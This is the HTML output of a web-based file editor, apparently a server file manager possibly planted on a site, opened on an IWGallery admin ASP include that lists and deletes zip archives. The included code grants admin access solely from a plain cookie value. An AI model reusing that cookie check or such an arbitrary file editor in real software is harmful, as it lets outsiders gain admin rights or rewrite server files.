Modifica di un file

<title>Modifica di un file</title>
Modificare il file: <i>\iwgallery\admin\inc_zip_listing.asp</i><br><form method=post action="edit.asp?action=save&dir=\iwgallery\admin&file=inc_zip_listing.asp"><textarea name='content' style='width: 700px;' rows=20 cols=70>&lt;% If LCase(Request.Cookies(&quot;IWGalleryAccess&quot;)) &lt;&gt; &quot;amministratore&quot; Then Response.Redirect(&quot;logout.asp?reason=Accesso negato&quot;) %&gt;
&lt;SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT&gt;					
function DoDateTime(str, nNamedFormat, nLCID)				
	dim strRet								
	dim nOldLCID								
										
	strRet = str								
	If (nLCID &gt; -1) Then							
		oldLCID = Session.LCID						
	End If									
										
	On Error Resume Next							
										
	If (nLCID &gt; -1) Then							
		Session.LCID = nLCID						
	End If									
										
	If ((nLCID &lt; 0) Or (Session.LCID = nLCID)) Then				
		strRet = FormatDateTime(str, nNamedFormat)			
	End If									
										
	If (nLCID &gt; -1) Then							
		Session.LCID = oldLCID						
	End If									
										
	DoDateTime = strRet							
End Function									
&lt;/SCRIPT&gt;
&lt;!--#include virtual=&quot;/iwgallery/ScriptLibrary/incPureUpload.asp&quot; --&gt;
&lt;!--#include virtual=&quot;/iwgallery/ScriptLibrary/incFSClass.asp&quot; --&gt;
&lt;%
Dim objZip, objItem
Set objZip = Server.CreateObject(&quot;XStandard.Zip&quot;)
%&gt;
&lt;% pau_AutoCreatePath(Server.MapPath(strPublicPath &amp; &quot;/zip&quot;)) %&gt;
&lt;%
Dim objFSO, Folder, Files, FilesCount
Set objFSO = Server.CreateObject(&quot;Scripting.FileSystemObject&quot;)
Set Folder = objFSO.GetFolder(Server.MapPath(strPublicPath &amp; &quot;/zip/&quot;))
Set Files = Folder.Files
FilesCount = Files.Count

If Request.Form(&quot;action&quot;) = &quot;DeleteAll&quot; Then
For Each File in Files
  objFSO.DeleteFile(Folder &amp; &quot;\&quot; &amp; File.Name)
Next
Response.Redirect(&quot;../admin/zip_listing.asp&quot;)
End If
%&gt;
&lt;%
' *** Delete Listed File
fm_DeleteListedFile
%&gt;
&lt;%
' *** Folder List 1.0.3
Dim ZipFiles
Set ZipFiles = New FolderList
With ZipFiles
  .Path = strPublicPath &amp; &quot;/zip&quot;
  .allowedExtensions = &quot;&quot;
  .includeFolders = false
  .ShowThumbnailsOnly = false
  .ThumbnailsSuffix = &quot;_small&quot;
  .officeAttributes = false
  .ReadFolder()
End With
%&gt;
&lt;%
' *** Folder List Repeater Vars 1.0.3
ZipFiles.pageRecs = 0
ZipFiles.pageCols = 1
%&gt;

&lt;script language=&quot;JavaScript&quot; type=&quot;text/JavaScript&quot;&gt;
&lt;!--
function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}
//--&gt;
&lt;/script&gt;
&lt;script language=&quot;JavaScript&quot; type=&quot;text/JavaScript&quot;&gt;
&lt;!--
function GP_popupConfirmMsg(msg) { //v1.0
  document.MM_returnValue = confirm(msg);
}
//--&gt;
&lt;/script&gt;


&lt;table width=&quot;100%&quot; border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;box&quot;&gt;
  &lt;tr&gt;
    &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;&lt;table width=&quot;100%&quot;  border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
        &lt;tr&gt;
          &lt;td width=&quot;1&quot; align=&quot;left&quot; class=&quot;box-header&quot;&gt;&lt;img src=&quot;../themes/&lt;%= strTheme %&gt;/box-header-left.jpg&quot;&gt;&lt;/td&gt;
          &lt;td width=&quot;100%&quot; class=&quot;box-header&quot;&gt;Zip &lt;/td&gt;
          &lt;td width=&quot;1&quot; align=&quot;right&quot; class=&quot;box-header&quot;&gt;&lt;img src=&quot;../themes/&lt;%= strTheme %&gt;/box-header-right.jpg&quot;&gt;&lt;/td&gt;
        &lt;/tr&gt;
      &lt;/table&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td align=&quot;left&quot; valign=&quot;top&quot; class=&quot;box-main&quot;&gt;&lt;table width=&quot;100%&quot;  border=&quot;0&quot; cellspacing=&quot;1&quot; cellpadding=&quot;0&quot; class=&quot;content&quot;&gt;
        &lt;tr&gt;
          &lt;td&gt;Files: &lt;strong&gt;&lt;%= FilesCount %&gt;&lt;/strong&gt; &lt;/td&gt;
          &lt;td align=&quot;right&quot;&gt;&lt;strong&gt;Nota&lt;/strong&gt;: si consiglia di cancellare periodicamente i files .zip per risparmiare spazio su disco &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/table&gt;
	  &lt;% If FilesCount &gt; 0 Then %&gt;
      &lt;table width=&quot;100%&quot;  border=&quot;0&quot; cellspacing=&quot;1&quot; cellpadding=&quot;0&quot; class=&quot;grid&quot;&gt;
        &lt;tr class=&quot;grid-header&quot;&gt;
          &lt;td&gt;Nome&lt;/td&gt;
          &lt;td align=&quot;center&quot;&gt;Data&lt;/td&gt;
          &lt;td width=&quot;1%&quot;&gt;&amp;nbsp;&lt;/td&gt;
        &lt;/tr&gt;
        &lt;%
' *** Folder List Repeater Start
while ZipFiles.CanRepeat()
%&gt;
        &lt;tr class=&quot;grid-main&quot;&gt;
          &lt;td&gt;&lt;a href=&quot;javascript:void(0);&quot; onClick=&quot;MM_openBrWindow('zip_content.asp?file=&lt;%= ZipFiles.Files(&quot;Name&quot;) %&gt;','zip','scrollbars=yes,resizable=yes,width=320,height=240')&quot;&gt;&lt;strong&gt;&lt;%= ZipFiles.Files(&quot;Name&quot;) %&gt;&lt;/strong&gt;&lt;/a&gt; (&lt;%= ZipFiles.Files(&quot;Size_name&quot;) %&gt;)&lt;/td&gt;
          &lt;td align=&quot;center&quot;&gt;&lt;%= DoDateTime( ZipFiles.Files(&quot;DateLastModified&quot;) , 2, 2057) %&gt;&lt;/td&gt;
          &lt;td align=&quot;center&quot;&gt;&lt;a href=&quot;&lt;%=ZipFiles.getDeleteLink()%&gt;&quot; onClick=&quot;GP_popupConfirmMsg('Cancellare definitivamente il File selezionato?');return document.MM_returnValue&quot;&gt;&lt;img src=&quot;../images/icon_delete.gif&quot; alt=&quot;Cancella&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/td&gt;
        &lt;/tr&gt;
        &lt;% 'if ZipFiles.IsLastColumn() then %&gt;
        &lt;% 
  'end if 
  ZipFiles.MoveNext
wend
ZipFiles.EndRepeater
' *** Folder List Repeater End
%&gt;
      &lt;/table&gt;
	  &lt;table width=&quot;100%&quot;  border=&quot;0&quot; cellspacing=&quot;1&quot; cellpadding=&quot;0&quot; class=&quot;content&quot;&gt;
  &lt;tr&gt;
    &lt;td align=&quot;center&quot;&gt;&lt;form action=&quot;../admin/zip_listing.asp&quot; method=&quot;post&quot; name=&quot;form1&quot; onSubmit=&quot;GP_popupConfirmMsg('Cancellare definitivamente tutti i Files?');return document.MM_returnValue&quot;&gt;
      &lt;input type=&quot;submit&quot; name=&quot;Submit&quot; value=&quot;Cancella tutti i Files&quot; class=&quot;button&quot;&gt;
      &lt;input name=&quot;action&quot; type=&quot;hidden&quot; id=&quot;action&quot; value=&quot;DeleteAll&quot;&gt;
        &lt;/form&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

	  &lt;% End If %&gt;
    &lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;&lt;table width=&quot;100%&quot;  border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
      &lt;tr&gt;
        &lt;td width=&quot;1&quot; align=&quot;left&quot; class=&quot;box-bottom&quot;&gt;&lt;img src=&quot;../themes/&lt;%= strTheme %&gt;/box-bottom-left.jpg&quot;&gt;&lt;/td&gt;
        &lt;td width=&quot;100%&quot; class=&quot;box-bottom&quot;&gt;&lt;img src=&quot;../images/shim.gif&quot; width=&quot;1&quot; height=&quot;1&quot;&gt;&lt;/td&gt;
        &lt;td width=&quot;1&quot; align=&quot;right&quot; class=&quot;box-bottom&quot;&gt;&lt;img src=&quot;../themes/&lt;%= strTheme %&gt;/box-bottom-right.jpg&quot;&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/table&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;
&lt;%
set ZipFiles = Nothing
' *** End Folder List
%&gt;
&lt;%
Set Files = Nothing
Set Folder = Nothing
Set objFSO = Nothing
%&gt;</textarea><br><input type=submit value='Save !'></form>[<a href="sfmanager.asp?dir=%5Ciwgallery%5Cadmin">Íàçàä</a>]